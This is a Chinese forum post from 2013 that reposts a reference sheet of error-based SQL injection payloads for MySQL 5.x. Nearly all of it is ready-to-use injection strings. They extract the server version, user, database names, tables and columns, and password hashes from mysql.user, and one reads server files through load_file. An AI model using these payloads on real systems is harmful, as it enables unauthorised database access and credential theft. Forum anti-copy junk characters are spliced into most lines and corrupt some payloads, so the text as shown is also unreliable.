本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 ; w4 c9 @" c2 k; K) s* x$ @) b) s
8 }6 T1 Q8 F4 w* L
3 L) f: Q. r6 E2 R! x2 N9 {2 o+ j
Mysql暴错注入参考(pdf),每天一贴。。。
. v0 Z, ?* v, b' [1 G( n3 o j. Q6 l$ ]( B
MySql Error Based Injection Reference
2 T c2 D: }. B$ f[Mysql暴错注入参考]" p: w5 ?" h9 E! w
Authornig0s1992: F( W' U/ }" L# D# B2 n
Blog:http://pnig0s1992.blog.51cto.com/" H( I6 W3 h# m$ l
TeAm:http://www.FreeBuf.com/
0 Y t: l: l0 `7 h. AMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
7 I2 k8 S0 [3 z+ @' f小部分版本使用name_const()时会报错.可以用给出的Method.2测试; w' G9 q) r7 K. ]" y a
查询版本:, ^2 L/ q1 \+ I5 M! Q% z
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+- r1 H8 j! r. [! j1 r! p, Y) f( m
join+(select+name_const(@@version,0))b)c)* _) M, u' J* o4 U; u
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro# [% M9 Q& l% {4 _, t% \; e; @% Q
up by a)b)3 [- r; p, W/ j5 X F6 E6 R
查询当前用户:7 |( ~) w7 z. W$ R e' D$ |
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
8 A: I! ?( j% j2 Z4 ~8 b* {Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
+ D3 C3 m7 D1 hand(0)*2))x+from+information_schema.tables+group+by+x)a)
. H: P( ]7 a( p! p- l查询当前数据库:
* X( l/ j" V- i1 J/ AMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)- B$ l# h. S8 L) L9 h e
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo. e( v3 N0 J! O9 u
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
6 q8 i6 l$ M/ v! Z- D+ \依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
1 W; o" S2 V. b I) [; \LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n" o/ R2 }. N& [. N V
顺序替换
+ F9 \8 i' ^# h5 l3 U1 Q2 Y爆指定库数目:
3 V! x( m, @% O4 Q+ N' C' Xand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
6 W8 i$ P( T$ e- ]$ table_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+ m5 u+ k" h- ?4 o6 t* x* n8 t2 D
+by+x)a)+and+1=1 0x6D7973716C=mysql
& T; N" k; f: e* a3 R依次爆表:9 ~- y: U5 b% x# J
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t+ w \8 o. l( p! Q2 J% U. Q7 A4 v
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta2 S) u7 g$ L, ]7 s" W% g( Q9 p
bles+group+by+x)a)+and+1=1' q3 k, o- m0 b/ n* b
0x6D7973716C=Mysql 将n顺序替换
8 q/ ?" m' d h+ W, N! B爆表内字段数目:4 c+ s. n$ y3 d# M/ h2 q
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
1 B( W4 ?. L* p- ?+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran1 `2 b. H9 }, p' f. t
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
. B$ [0 V$ N3 ^依次爆字段:
6 ^; H6 D$ c1 B [and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where8 k% U4 U5 T" u! a# e
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
4 A3 v3 N. f) ?& K' F3 B$ Ploor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
- o/ C6 l. \; W依次暴内容:
" g; M; e1 Y( S+ A. @" E8 band+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche; c8 `5 t) L7 o' R
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
( o4 H0 O6 O ~8 i V' ?3 Q0 k. s将n顺序替换3 \* K# W# \' `, G' w4 {. K6 x
爆文件内容:
) L! D' Q8 r, {, F7 pand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
* c% |. }& B/ K! H Zfrom+information_schema.tables+group+by+a)b)
" l: p4 I$ \! |" j2 m! f0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
* f4 O Z/ A: |7 L" c% YThx for reading.
$ i* g9 q1 n6 s7 @( Y
3 u! [# N: Z' ?% X" {0 L/ h5 e, I不要下载也可以,
' ?' Y. s4 ?" _- S I# o3 [ |